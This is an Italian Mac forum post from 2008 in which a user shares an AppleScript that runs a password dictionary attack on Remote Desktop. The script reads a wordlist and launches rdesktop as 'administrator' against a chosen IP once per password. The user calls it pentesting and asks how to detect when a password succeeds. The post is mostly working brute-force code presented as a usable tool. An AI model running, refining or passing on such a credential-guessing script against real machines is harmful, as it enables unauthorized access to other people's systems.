IPB     Il futuro di Tevac dipende da te!  

Benvenuto Visitatore ( Log In | Registrati )

  · · · · · · · · · · · ·
Reply to this topicStart new topic
> Applescript & rdesktop, dictionary attack
Federico_82
messaggio 21 Jul 2008, 18:39
Messaggio #1


Level 2/11
**

Gruppo: Forum User
Messaggi: 91
Iscritto il: 4-May 07
Utente Nr.: 8.165



Ciao,
ho scritto un AS per fare un pò di pentest sulle macchine con rdp attivo.

Ho usato rdesktop
http://www.rdesktop.org/#download
in teroia questo sw doveva già avere la possibilità di funzionare con un dizionario, ma a me non è mai andato, l'ho quindi inserito dentro uno script:

CODE
set myPrefsFile to (choose file with prompt "Select a file to read:")
open for access myPrefsFile
set prefsContents to read myPrefsFile using delimiter {return}
-- set line_count to 0
-- repeat
-- try
-- read myPrefsFile until return
-- set line_count to line_count + 1
-- on error
-- probably ran out of lines to read.
-- exit repeat
-- end try
-- end repeat
-- return line_count
-- l'ho tolto perchè è veramente lento nel contare le righe del file di testo

close access myPrefsFile

set IPvar to ((text returned) of (display dialog "Enter IP address" default answer "127.0.0.1" buttons {"Cancel", "Accept"} default button "Accept")) as text

set x to 1
repeat while x < 100
-- il ciclo è su numero di test naturalmente
set txtvar to (read myPrefsFile for (get eof myPrefsFile))
set var1 to paragraph x of txtvar
tell application "Terminal" to do script ("rdesktop -u administrator -p " & var1 & " " & IPvar)
set x to x + 1
if x = 30 then
tell application "Terminal" to quit
end if
end repeat


per funzionare bisogna avere x11 aperto.
il mio problema è che non riesco a capire quando lo script becca la psw, ho quindi messo dei cicli di 30 tentativi seguiti da un controllo "manuale" delle finsetre aperte, è veramente brutto fatto così.
avete qualche idea o alternativa?

Messaggio modificato da poweruser il 28 Jul 2008, 20:28
Go to the top of the page
 
+Quote Post

Reply to this topicStart new topic

 

Collapse

> 

    Titolo discussione Risposte Autore discussione Visite Ultima azione
No New Posts   0 ilgio 67 29 October 2008 - 20:29
Ultimo messaggio di: ilgio
No New Posts   2 taddeima 87 27 October 2008 - 09:36
Ultimo messaggio di: taddeima
No New Posts   2 arbushell 157 14 July 2008 - 23:36
Ultimo messaggio di: arbushell
No New Posts   4 areyoulucio 411 23 June 2008 - 01:53
Ultimo messaggio di: Biba
No new   10 [Daitarn] 1.862 28 May 2008 - 12:20
Ultimo messaggio di: [Daitarn]
No New Posts   4 fede86 168 27 May 2008 - 08:27
Ultimo messaggio di: fede86
No new   10 fede86 178 26 May 2008 - 19:01
Ultimo messaggio di: Baco
No New Posts   4 ennesimanamnesi 182 26 May 2008 - 08:41
Ultimo messaggio di: kato
No New Posts   5 kato 260 21 May 2008 - 19:05
Ultimo messaggio di: kato
No New Posts   3 mato 262 25 February 2008 - 09:37
Ultimo messaggio di: mato
No New Posts   4 mato 194 21 February 2008 - 19:36
Ultimo messaggio di: mato
No New Posts   4 Leonide Principe 397 9 February 2008 - 23:51
Ultimo messaggio di: poweruser

Modalità di visualizzazione: Normale · Passa a: Lineare · Passa a: Outline


RSS Versione Lo-Fi Oggi è il: 2 December 2008 - 17:54
IP.Board Skin Developed By Creative Networks